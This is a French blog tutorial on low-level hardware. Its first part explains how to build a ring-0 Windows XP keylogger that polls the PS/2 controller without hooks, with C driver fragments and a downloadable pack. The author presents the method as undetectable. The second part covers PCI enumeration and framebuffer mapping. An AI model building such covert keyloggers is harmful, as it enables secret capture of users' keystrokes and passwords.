rAsM’s Blog

	0x00 Introduction
	0x01 PS/2 keyboard
	0x02 No hooking
	0x03 IOAPIC
	0x04 Disable kdb IRQ
	0x05 Regenerate SCANCODE
	0x06 Call Kdb Interrupt
	0x07 Conclusion
	0x08 References

0×00 Introduction:

Dans cet article je vais expliquer comment fonctione un clavier PS/2 et
comment on peut faire un keylogger en ring0 sous windows xp sans aucun hook
ou un device filter.



0×01 PS/2 keyboard:

Le clavier PS/2 est relié à un microcontrolleur, sous les touches il y a
un reseau matriciel, lignes et collones, lorsqu’on presse une touche il
s’etablit un contact entre une ligne et une collone correspondant à la
touche pressée; le signal est traité par un micro controlleur qui pourra
tranmettre le SCANCODE de la touche.
Ces SCANCODEs sont des numéros qui correspondent à “la position” des
touches.

Le microcontrolleur ne transmet pas directement le SCANCODE au processeur
il envoie un irq (interruption matérielle) sur un pin du processeur
celui-ci en réponse à cet IRQ va déclancher une interruption.

IRQ 0 : Horloge Système
IRQ 1 : Clavier
IRQ 2 : N/A (cascade du second contrôleur)
IRQ 3 : Port série (COM2/COM4)
IRQ 4 : Port série (COM1/COM3)
IRQ 5 : LPT2 (carte de son)
IRQ 6 : Lecteur de disquettes
IRQ 7 : Port parallèle (LPT1)
IRQ 8 : Horloge temps réel
IRQ 9 : N/A (PCI)
IRQ 10 : N/A
IRQ 11 : N/A (USB)
IRQ 12 : N/A (PS/2)
IRQ 13 : Coprocesseur math.
IRQ 14 : Disque dur primaire
IRQ 15 : Disque dur secondaire

Sur les architectures récentes le controlleur: 82093AA I/O ADVANCED
PROGRAMMABLE INTERRUPT CONTROLLER (IOAPIC) est chargé de gérer les IRQs
et grâce à lui le systeme d’exploitation peut assigner un vecteur
d’interruption du processeur à un IRQ.

Puis le handler de ce vecteur d’interruption sera chargé de récupérer les
SCANCODES en accédant au ports du micro controlleur du clavier.

Le micro controlleur du clavier possede deux registres éssenciels:
le status register et le controller command register qui font tout les
deux la taille d’un octet.

Et un INPUT_BUFFER pour recevoir des commandes puis un OUTPUT_BUFFER pour
transmetre des données par exemple les SCANCODES.

Quand l’interruption dédiée au clavier est déclanchée le handler
devra lire le status register pour savoir qu’elles types de données
sont disponibles dans le OUTPUT_BUFFER.

Status register:

	+----+---+----+----+---+----+----+----+
	¦ 7  ¦ 6 ¦ 5  ¦ 4  ¦ 3 ¦ 2  ¦ 1  ¦ 0  ¦
	+----+---+----+----+---+----+----+----+
	¦PARE¦TIM¦AUXB¦KEYL¦C/D¦SYSF¦IMPB¦OUTB¦
	+----+---+----+----+---+----+----+----+

On accède à ce register par le port 64 qu’il faut lire, ensuite il
nous faudra tester les bits OUTB et AUXB; OUTB nous dit si un
SCANCODE ou autre, est présent dans le buffer de sortie AUXB va nous
permetre de savoir si les données dans le buffer de sortie ont été
envoiées par le clavier ou la souris.

(Si on code un handle d’interruption pour l’IRQ 1 on n’aura pas besoin
de tester le OUTPUT_BUFFER pour la souris.)

Voici le code qui teste le status register pour savoir si un
SCANCODE peut etre lu:

BOOLEAN IsThereScanCode()
{
	int i = 0x200;

	do{
		if((READ_PORT_UCHAR((PUCHAR)0x64) & BUFFER_FULL) == 1)
		{
			return TRUE;
		}
	}while(i-- > 0);
	return FALSE;
}

Si on a un scancode on le récupere en lisant le port 0×60:

unsigned char GetScanCode()
{
	return READ_PORT_UCHAR((PUCHAR)0x60);
}

Une fois le SCANCODE récupéré il nous faut le traduire, en une valeur
ascii qui correspond à la touche, en utilisant une table de keymap.
Cette table contient les valeurs ascii indexées par les SCANCODEs
dans l’ordre croissant.

(Si on code un handle d’interruption nous devons signaller au controlleur
que l’IRQ a bien été traitée pour qu’il puisse récupérer des nouveaux
SCANCODES.

	WRITE_PORT_UCHAR((PUCHAR)0x20,0x20);

0×02 No hooking:

Pour ne pas avoir à hooker l’IDT nous allons faire du keyboard polling,
comprendre par sondage du clavier. On va désactiver l’IRQ 1 du clavier
pour que l’interruption dédiée à cet IRQ ne soit pas déclanchée.

Ensuite on va creer une boucle qui va lire le status register. Dés
qu’un SCANCODE valide est disponible on le converti en ascii avec la
table de keymap et on l’affiche.

Puis nous allons renvoier le même SCANCODE au controlleur et appeller
l’interruption du clavier pour que le systeme d’exploitation puisse
traiter l’évenement comme si rien ne s’était passé.

0×03 IOAPIC:

Tout d’abord nous devons savoir quel vecteur d’interruption est assigné
à l’IRQ 1, ceci est possible en le demandant au IOAPIC controller. Je
vais expliquer son fonctionement:

Ce controlleur est accessible a l’adresse physique 0xFEC00000 depuis
deux registres le premier est l’IOREGSEL situé en 0xFEC00000 et le
second est l’OWIN situé en 0xFEC00010.
En envoyant une requette sur l’IOREGSEL on peut accéder à
l’I/O REDIRECTION TABLE REGISTERS qui contiennent les vecteurs des
interrutptions associées aux IRQs.

10-11h (IOREDTBL0)  28-29h (IOREDTBL12)
12-13h (IOREDTBL1)  2A-2Bh (IOREDTBL13)
14-15h (IOREDTBL2)  2C-2Dh (IOREDTBL14)
16-17h (IOREDTBL3)  2E-2Fh (IOREDTBL15)
18-19h (IOREDTBL4)  30-31h (IOREDTBL16)
1A-1Bh (IOREDTBL5)  32-33Fh (IOREDTBL17)
1C-1Dh (IOREDTBL6)  34-35h (IOREDTBL18)
1E-1Fh (IOREDTBL7)  36-37h (IOREDTBL19)
20-21h (IOREDTBL8)  38-39h (IOREDTBL20)
22-23h (IOREDTBL9)  3A-3Bh (IOREDTBL21)
24-25h (IOREDTBL10) 3C-3Dh (IOREDTBL22)
26-27h (IOREDTBL11) 3E-3Fh (IOREDTBL23)

Les numéros correspondent à des offsets qu’on doit specifier dans notre
requette envoyée par le registre IOREGSEL ensuite la valeur se trouvant
à ses offsets nous sera envoyée par le registre OWIN qu’il suffira de lire.

Chaque entrée dans cette table fait 64bits seul le premier DWORD nous
intérresse ici car c’est le premier octet contient notre vecteur.

	IOAPICGate = (PULONG)MapIOAPIC();
	IOAPICGate[0] = 12; //request offset of IOREDTBL1
	vector = (unsigned char)IOAPICGate[4] & 0xff;

Il est possible de modifier ces tables en requérant leur offset avec le
IOREGSEL et en ecrivant dans l’OWIN.
Pour plus d’informations concernant le IOAPIC voir la doc officielle ici:

http://download.intel.com/design/chipsets/datashts/29056601.pdf

0×04 Disable kdb IRQ:

Pour récupérer les SCANCODES il est important de s’assurer que
l’interruption dédié au clavier ne soit pas executée car dés qu’une
touche est pressee celle-ci sera declanchée et lira le OUTPUT_BUFFER
qui sera remis à 0. Il nous faut dont désactiver l’IRQ du clavier.
Pour ce faire nous pouvons écrire une valeur dans le command register
du keyboard controller ou bien nous pouvons masker l’IRQ dans
I/O REDIRECTION TABLE REGISTER du IOAPIC controller.

Command register:

	+-+-----+--+--+-----+----+---+---+
	¦7¦  6  ¦5 ¦ 4¦  3  ¦ 2  ¦ 1 ¦ 0 ¦
	+-+-----+--+--+-----+----+---+---+
	¦0¦XLATE¦ME¦KE¦IGNLK¦SYSF¦MIE¦KYE¦
	+-+-----+--+--+-----+----+---+---+

Si on met le bit KYE à zéro l’IRQ du clavier sera désactivée mais on
pourra toujours lire les SCANCODEs.

Tout d’abord on va lire le command register et modifier le bit KYE.

	//////////////////////////////////////////////////////////////////////
	///// Mask Kdb IRQ
	while((READ_PORT_UCHAR((PUCHAR)0x64) & INPUT_BUFFER_FULL));
	WRITE_PORT_UCHAR((PUCHAR)0x64, 0x20);
	//La commande 0x20 nous permet de récupérer le command register
	//dans le OUTPUT_BUFFER.

	while((!READ_PORT_UCHAR((PUCHAR)0x64) & OUTPUT_BUFFER_FULL));
	CommandReg = READ_PORT_UCHAR((PUCHAR)0x60);
	//On lit le command register.

	while((READ_PORT_UCHAR((PUCHAR)0x64) & INPUT_BUFFER_FULL));
	WRITE_PORT_UCHAR((PUCHAR)0x64, 0x60);
	//La commande 0x60 nous permet d'écrire de modifier le
	//command register par le biais du INPUT_BUFFER.

	while((READ_PORT_UCHAR((PUCHAR)0x64) & INPUT_BUFFER_FULL));
	WRITE_PORT_UCHAR((PUCHAR)0x60,CommandReg^1);
	//On écrit la valeur du command register recupérée avec
	//le bit KYE désactivé.
	/////
	//////////////////////////////////////////////////////////////////////

Pour réactiver l’IRQ il suffira de mette le bit KYE a 1.

0×05 Regenerate SCANCODE:

Nous allons écrire le SCANCODE préalablement récupéré dans le
OUTPUT_BUFFER comme ça nous pourrons appeller l’interruption du clavier
pour que windows traite le SCANCODE en toute transparence.

	while(READ_PORT_UCHAR((PUCHAR)0x64) & INPUT_BUFFER_FULL);

	WRITE_PORT_UCHAR((PUCHAR)0x64, 0xD2); //Commande pour mettre un SCANCODE dans
	//l'OUTPUT_BUFFER

	while(READ_PORT_UCHAR((PUCHAR)0x64) & INPUT_BUFFER_FULL);

	WRITE_PORT_UCHAR((PUCHAR)0x60, ScanCode); //Ecrit la valeur.

	// Sert a confirmer que le SCANCODE a bien été reçu.
	while(!(READ_PORT_UCHAR((PUCHAR)0x64) & OUTPUT_BUFFER_FULL));

0×06 Call Kdb Interrupt:

	unsigned char vector;
	unsigned char KdbInterrupt[] = {0xCD, 0×00, 0xC3};

	vector = GetIRQ1InterruptVector();
	KdbInterrupt[1] = vector;

	((void (*)(void))KdbInterrupt)();

0×07 Conclusion:

Je me suis inspiré d’un code de Chpie trouvé sur rootkit.com mais n’ayant
rien compris dans un premier temps j’ai décidé d’en savoir plus affin de
pouvoir vulgariser cette méthode intérressante. Puisqu’elle est à priori
indétectable, bien-sûr indépendament du driver

Un petit coucou au people de: #uct,#fat,#fret,#carib0u,#oldschool et
spécialement à kaze, Baboon, OverClok, fyury, Ivanlef0u…

ps: Je ne suis pas un gros geek :p

0×08 Références:

http://www.rootkit.com/newsread.php?newsid=854 //original code
http://www.win.tue.nl/~aeb/linux/kbd/scancodes-11.html //kdb specs
http://download.intel.com/design/chipsets/datashts/29056601.pdf //IOAPIC

kdbpoll_pack.zip
(Utilisez Dbgview pour voir les méssages du driver, si vous avez une configuration
multi CPU effacez cette ligne: #define SINGLE_CPU. Attention VMware ne
supporte pas l’IOAPIC donc laissez #define SINGLE_CPU.)

	0x01 Aperçu général du bus PCI.
	0x02 Communication avec le bus.
	0x03 Former une requête.
	0x04 Enumération des périphériques.
	0x05 Récupération des BARs.
	0x06 Le framebuffer.

0×01 Aperçu général du bus PCI:

Le Peripheral Component Interconnect (PCI) sert à ajouter des cartes
d’extension sur la carte mère. Il rend possible la communication des
cartes entre elles et l’écriture en mémoire sans passer par le processeur.

Chaque carte est un dispositif plug and play, il se charge automatiquement.
En effet celle ci peut demander des domaines de port I/O et aussi de la
mémoire RAM, le BIOS inspecte la configuration du bus et traite les requêtes
des divers périphériques connectés.

0×02 Communication avec le bus:

Pour communiquer avec le bus PCI il faut utiliser deux ports I/O:
- le premier est le CONFIG_ADDRESS (0xCF8)
- le second est le CONFIG_DATA (0xCFC)
Tout d’abord il faut formuler une requête sur 4 octets et envoyer celle-ci
sur le port 0xCF8 ensuite le bus va transférer la réponse à notre requête
sur le port 0xCFC.

0×03 Former une requête:

Tout d’abord intéressons nous au format de celle-ci:

  +------+--------+-----+------+--------+--------+---+
  |    31|   30-24|23-16| 15-11|    10-8|     7-2|1-0|
  +------+--------+-----+------+--------+--------+---+
  |Enable|Reserved|  Bus|Device|Function|Register| 00|
  +------+--------+-----+------+--------+--------+---+

Une fois ce format connu il suffit de faire une fonction qui prend touts
ces paramètres et qui construit notre requête.
Cette fonction a été trouvée sur osdev et a ete adaptée pour mon driver.

VOID PCISendConfig (unsigned short bus, unsigned short slot,
					unsigned short func, unsigned short offset)
{
	unsigned long address;
	unsigned long lbus = (unsigned long)bus;
	unsigned long lslot = (unsigned long)slot;
	unsigned long lfunc = (unsigned long)func;

	/* create configuration address */
	address = ((lbus << 16) | (lslot << 11) |(lfunc << 8 ) | (offset & 0xfc) |
		((UINT32)0x80000000));

	/* write out the address */
	WRITE_PORT_ULONG(((PULONG)0xCF8), address);
}

0×04 Enumération des périphériques:

Nous avons vu comment envoyer une requette au bus PCI maintenant regardons
les informations qu’il peut nous renvoyer.

  +----------+------------+------------+-------------+---------------+
  | register | bits 31-24 | bits 23-16 |  bits 15-8  |    bits 7-0   |
  +----------+------------+------------+-------------+---------------+
  |    00    |         Device ID       |           Vendor ID         |
  +----------+-------------------------+-----------------------------+
  |    04    |          Status         |            Command          |
  +----------+------------+------------+-----------------------------+
  |    08    | Class code |  Subclass  |          Revision ID        |
  +----------+------------+------------+-------------+---------------+
  |    0C    |    BIST    | Header type|Latency Timer|Cache Line Size|
  +----------+------------+------------+-------------+---------------+
  |    10    |Base address #0 (BAR0)                                 |
  +----------+-------------------------------------------------------+
  |    14    |Base address #1 (BAR1)                                 |
  +----------+-------------------------------------------------------+
  |    18    |Base address #2 (BAR2)                                 |
  +----------+-------------------------------------------------------+
  |    1C    |Base address #3 (BAR3)                                 |
  +----------+-------------------------------------------------------+
  |    20    |Base address #4 (BAR4)                                 |
  +----------+-------------------------------------------------------+
  |    24    |Base address #5 (BAR5)                                 |
  +----------+-------------------------------------------------------+
  |    28    |Cardbus CIS Pointer                                    |
  +----------+-------------------------+-----------------------------+
  |    2C    |       Subsystem ID      |    Subsystem Vendor ID      |
  +----------+-------------------------+-----------------------------+
  |    30    |Expansion ROM base address                             |
  +----------+-------------------------------------------------------+
  |    34    |Reserved                                               |
  +----------+-------------------------------------------------------+
  |    38    |Reserved                                               |
  +----------+------------+------------+-------------+---------------+
  |    3C    |Max latency |  Min Grant |Interrupt PIN| Interrupt Line|
  +----------+------------+------------+-------------+---------------+

Maintenant nous voulons récupérer le framebuffer qui est un des 6 Base Address
de notre carte graphique branchée sur le bus PCI. Il nous faut dans un premier
temps énumérer les différents périphériques sur le bus PCI…

Pour ce faire nous allons faire 2 boucles qui incrémenteront le bus et le slot,
on récupérera le Vendor ID et on vérifie sa validité puis on récupère le
Class code, si celui-ci est égal a 03 c’est qu’on a affaire a une carte vidéo.
Nous allons parcourir 32 slots par bus et ceci sur 255 bus.

Donc les paramètres seront le bus, le slot, function sera nul et offset sera
égal à 2 car il correspond au registre Vendor ID.

#define Display_controller  0x03
#define MAX_PCI_BUS 255
#define MAX_PCI_SLOT 32

for(bus = 0; bus < MAX_PCI_BUS; bus++)
{
	for(slot=0;slot < MAX_PCI_SLOT; slot++)
	{
		PCISendConfig(bus,slot,0,2); //to get vendor ID
		if(0xFFFF != PCIGetConfigWord()) //check valid vendor ID
		{
			PCISendConfig(bus,slot,0,8); //to get Class Code
			if(Display_controller == (PCIGetConfigLong()>>0×18))
                           {
				// Get BARs
			}
		}
	}
}

0×05 Récupération des BARs:

Maintenant il ne nous reste plus qu’a récupérer les BARs ainsi que leur
taille puis nous prendrons le plus grand, celui a le plus de chances d’être
notre framebuffer.

Cependant il est impératif d’en connaitre un peu plus sur ces adresses.
Le BAR est une adresse physique, pour pouvoir y accéder il nous faudra la
convertir en une adresse virtuelle.
Pour récupérer la taille il faut écrire dans le BAR 0xffffffff ensuite on
lit ce même BAR et on récupère la taille qu’il faudra convertir en nombre non
signé.

//Get bars
PCISendConfig(bus,slot,0,0x10); //to get BAR#0
pbar_regs->BAR0 = PCIGetConfigLong();
...

//Get bar size
PCISendConfig(bus,slot,0,0x10); //to get sz BAR#0
WRITE_PORT_ULONG(((PULONG)0xCFC), 0xffffffff);
pbar_regs->szBAR0 = PCIGetConfigLong();
pbar_regs->szBAR0 = ConvertBARsz(pbar_regs->szBAR0);
...

//restore bars
PCISendConfig(bus,slot,0,0x10); //to get BAR#0
WRITE_PORT_ULONG(((PULONG)0xCFC),pbar_regs->BAR0);

0×06 Le framebuffer:

Voila nous arrivons à la fin de notre parcours il nous faut « convertir »
l’adresse physique du BAR en une adresse virtuelle pour ce faire nous allons
utiliser l’api MmMapIoSpace.

PHYSICAL_ADDRESS bigestBAR;
unsigned long szbigestBAR;
unsigned long framebuffer;
...

framebuffer = MmMapIoSpace(bigestBAR,szbigestBAR,FALSE);

Il nous suffit juste d’écrire à l’adresse retournée pour afficher ce qu’on
veut. (Bien sûr, avant il vous faudra connaitre la résolution de l’écran et
le mode)

pci_pack.zip